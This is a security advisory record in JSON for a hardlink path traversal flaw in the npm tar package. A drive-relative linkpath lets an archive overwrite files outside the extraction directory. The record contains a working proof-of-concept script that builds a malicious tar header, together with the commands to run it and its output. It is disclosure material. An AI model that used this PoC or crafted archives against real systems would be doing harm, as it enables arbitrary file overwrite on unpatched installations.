{"id":"GHSA-qffp-2rhf-9h96","summary":"tar has Hardlink Path Traversal via Drive-Relative Linkpath","details":"### Summary\n`tar` (npm) can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as `C:../target.txt`, which enables file overwrite outside `cwd` during normal `tar.x()` extraction.\n\n### Details\nThe extraction logic in `Unpack[STRIPABSOLUTEPATH]` checks for `..` segments *before* stripping absolute roots.\n\nWhat happens with `linkpath: \"C:../target.txt\"`:\n1. Split on `/` gives `['C:..', 'target.txt']`, so `parts.includes('..')` is false.\n2. `stripAbsolutePath()` removes `C:` and rewrites the value to `../target.txt`.\n3. Hardlink creation resolves this against extraction `cwd` and escapes one directory up.\n4. Writing through the extracted hardlink overwrites the outside file.\n\nThis is reachable in standard usage (`tar.x({ cwd, file })`) when extracting attacker-controlled tar archives.\n\n### PoC\nTested on Arch Linux with `tar@7.5.9`.\n\nPoC script (`poc.cjs`):\n\n```js\nconst fs = require('fs')\nconst path = require('path')\nconst { Header, x } = require('tar')\n\nconst cwd = process.cwd()\nconst target = path.resolve(cwd, '..', 'target.txt')\nconst tarFile = path.join(process.cwd(), 'poc.tar')\n\nfs.writeFileSync(target, 'ORIGINAL\\n')\n\nconst b = Buffer.alloc(1536)\nnew Header({ path: 'l', type: 'Link', linkpath: 'C:../target.txt' }).encode(b, 0)\nfs.writeFileSync(tarFile, b)\n\nx({ cwd, file: tarFile }).then(() =\u003e {\n  fs.writeFileSync(path.join(cwd, 'l'), 'PWNED\\n')\n  process.stdout.write(fs.readFileSync(target, 'utf8'))\n})\n```\n\nRun:\n\n```bash\ncd test-workspace\nnode poc.cjs && ls -l ../target.txt\n```\n\nObserved output:\n\n```text\nPWNED\n-rw-r--r-- 2 joshuavr joshuavr 6 Mar  4 19:25 ../target.txt\n```\n\n`PWNED` confirms outside file content overwrite. Link count `2` confirms the extracted file and `../target.txt` are hardlinked.\n\n### Impact\nThis is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.\n\nRealistic scenarios:\n- CLI tools unpacking untrusted tarballs into a working directory\n- build/update pipelines consuming third-party archives\n- services that import user-supplied tar files","aliases":["CVE-2026-29786"],"modified":"2026-07-17T21:13:56.645649144Z","published":"2026-03-05T00:52:32Z","database_specific":{"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-03-05T00:52:32Z","nvd_published_at":"2026-03-07T16:15:55Z","cwe_ids":["CWE-22","CWE-59"]},"references":[{"type":"WEB","url":"https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-29786"},{"type":"WEB","url":"https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f"},{"type":"PACKAGE","url":"https://github.com/isaacs/node-tar"}],"affected":[{"package":{"name":"tar","ecosystem":"npm","purl":"pkg:npm/tar"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"7.5.10"}]}],"database_specific":{"last_known_affected_version_range":"\u003c= 7.5.9","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-qffp-2rhf-9h96/GHSA-qffp-2rhf-9h96.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L"}]}